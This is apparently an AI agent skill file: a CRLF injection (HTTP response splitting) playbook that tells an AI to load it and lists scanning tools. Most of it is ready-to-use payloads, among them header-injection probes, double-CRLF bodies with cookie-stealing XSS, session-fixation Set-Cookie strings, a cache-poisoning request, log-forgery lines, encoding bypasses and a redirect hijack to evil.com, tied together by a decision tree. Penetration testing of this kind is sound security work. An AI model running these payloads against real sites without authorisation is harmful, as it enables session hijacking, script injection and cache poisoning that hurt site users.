| name | crlf-injection |
| description | CRLF injection playbook. Use when user input reaches HTTP response headers, Location redirects, Set-Cookie values, or log files where carriage-return/line-feed characters can split or inject content. |
SKILL: CRLF Injection โ Expert Attack Playbook
AI LOAD INSTRUCTION: CRLF injection (HTTP response splitting) techniques. Covers header injection, response body injection via double CRLF, XSS escalation, cache poisoning, and encoding bypass. Often overlooked by scanners but chains into XSS, session fixation, and cache attacks.
QUICK START
First-pass probes
| Signal | Probe | Why |
|---|
| Header injection point (redirect URL, Set-Cookie path) | %0D%0AX-Injected:true in param | Confirms CRLF reaches response headers |
| Single CRLF works | %0D%0ASet-Cookie:evil=test | Session fixation chain |
| Single CRLF blocked | %0D alone, %0A alone, %E5%98%8A%E5%98%8D | Partial or Unicode bypass |
| Double CRLF | %0D%0A%0D%0A<script>alert(1)</script> | Body injection โ XSS |
| Input in User-Agent / Referer | %0D%0A127.0.0.1 - admin [date] "GET /admin" 200 | Log injection / forgery |
| Open redirect via CRLF in Location | %0D%0ALocation:http://evil.com%0D%0A%0D%0A | Response splitting โ redirect hijack |
curl -s -D- 'https://target/redirect?url=%0D%0AX-Injected:true'
1. CORE CONCEPT
CRLF = \r\n (Carriage Return + Line Feed, %0D%0A). HTTP headers are separated by CRLF. If user input is reflected in a response header without sanitization, injecting CRLF characters creates new headers or even a response body.
Normal: Location: /page?url=USER_INPUT
Attack: Location: /page?url=%0D%0ASet-Cookie:admin=true
Result: Two headers โ Location + injected Set-Cookie
2. DETECTION
Basic Probe
%0D%0ANew-Header:injected
# In URL parameter:
https://target.com/redirect?url=%0D%0AX-Injected:true
# Check response headers for "X-Injected: true"
Double CRLF โ Body Injection
Two consecutive CRLF sequences end headers and start body:
%0D%0A%0D%0A<script>alert(1)</script>
# Result:
HTTP/1.1 302 Found
Location: /page
<script>alert(1)</script>
3. EXPLOITATION SCENARIOS
Session Fixation via Set-Cookie
%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
XSS via Response Body
%0D%0A%0D%0A<html><script>alert(document.cookie)</script></html>
Cache Poisoning
If the response is cached by a CDN or proxy, injected headers/body are served to all users:
GET /page?q=%0D%0AContent-Length:0%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:text/html%0D%0A%0D%0A<script>alert(1)</script>
Log Injection
CRLF in log-visible fields (User-Agent, Referer) can forge log entries:
User-Agent: normal%0D%0A127.0.0.1 - admin [date] "GET /admin" 200
4. FILTER BYPASS
| Filter | Bypass |
|---|
Blocks %0D%0A | Try %0D alone, %0A alone, or %E5%98%8A%E5%98%8D (Unicode) |
| URL decodes once | Double-encode: %250D%250A |
Strips \r\n literally | Use URL-encoded form |
| Blocks in value only | Inject in parameter name |
# Unicode/UTF-8 bypass:
%E5%98%8A%E5%98%8D โ decoded as CRLF in some parsers
# Double URL encoding:
%250D%250A โ server decodes to %0D%0A โ interpreted as CRLF
# Partial injection (LF only):
%0A โ some servers accept LF without CR
5. REAL-WORLD EXPLOITATION CHAINS
CRLF + Session Fixation
# Inject Set-Cookie via CRLF in redirect parameter:
?url=%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
# Result:
HTTP/1.1 302 Found
Location: /page
Set-Cookie: PHPSESSID=attacker_controlled_session_id
# Victim uses attacker's session โ attacker hijacks after login
CRLF โ XSS via Double CRLF Body Injection
# Two CRLF sequences end headers and inject response body:
?url=%0D%0A%0D%0A<script>alert(document.cookie)</script>
# Result:
HTTP/1.1 302 Found
Location: /page
<script>alert(document.cookie)</script>
CRLF in 302 Location โ Redirect Hijack
# Inject new Location header before the original:
?url=%0D%0ALocation:http://evil.com%0D%0A%0D%0A
# Some servers use the LAST Location header โ redirect to evil.com
DECISION TREE
HTTP header reflects user input?
โโโ Redirect URL parameter contains CRLF (%0D%0A)?
โ โโโ Single CRLF injection works?
โ โ โโโ Set-Cookie injection possible?
โ โ โ โโโ Test session fixation chain
โ โ โโโ Other header injection (X-Forwarded-For, etc.)?
โ โ โโโ Test header-based attacks
โ โโโ Single CRLF blocked?
โ โโโ Try encoding bypass: double-encode (%250D%250A), Unicode (%E5%98%8A%E5%98%8D), LF-only (%0A)
โโโ Double CRLF (%0D%0A%0D%0A) reaches response?
โ โโโ Response body injection confirmed?
โ โโโ XSS via injected HTML/JS?
โ โ โโโ Test XSS escalation chain
โ โโโ Cacheable response?
โ โโโ Test cache poisoning chain
โโโ Input in User-Agent or Referer?
โ โโโ Log injection possible?
โ โโโ Test log forgery and log evasion
โโโ No CRLF reflection found?
โโโ Report not reproduced; check encoding and parameter name injection
7. COMMON VULNERABLE PATTERNS
header("Location: " . $_GET['url']);
return redirect(request.args.get('next'))
res.setHeader('X-Custom', userInput);
response.setHeader("Location", request.getParameter("url"));
MCP TOOLS
| Tool | Use Case |
|---|
http_framework_test | Send crafted HTTP requests with CRLF payloads (%0D%0A) in URL parameters, headers, cookies, or POST body to test header injection and response splitting |
http_repeater | Replay and modify CRLF injection payloads in redirect URLs, Set-Cookie paths, and User-Agent/Referer headers to observe header/body injection effects |
nuclei_scan | Run CRLF-injection-specific Nuclei templates to automate detection of HTTP response splitting vulnerabilities across multiple endpoints |
burpsuite_alternative_scan | Comprehensive web scanning that can detect CRLF injection patterns in redirect parameters, cookie values, and custom headers during spidering |
TESTING CHECKLIST
โก Inject %0D%0A in redirect URL parameters
โก Inject %0D%0A in Set-Cookie name/value paths
โก Try double CRLF for body injection โ XSS
โก Test encoding bypasses: double-encode, Unicode (%E5%98%8D%E5%98%8A), LF-only (%0A)
โก Check if response is cacheable โ cache poisoning
โก Test in User-Agent / Referer for log injection
โก Test CRLF + Set-Cookie for session fixation
โก Verify if Location header can be injected in 302 responses
RELATED ROUTING
- xss โ CRLF body injection escalates to stored XSS
- open-redirect โ CRLF in Location header hijacks redirects
- request-smuggling โ CRLF is fundamental to HTTP request smuggling
- hpp โ HPP can complement CRLF header injection
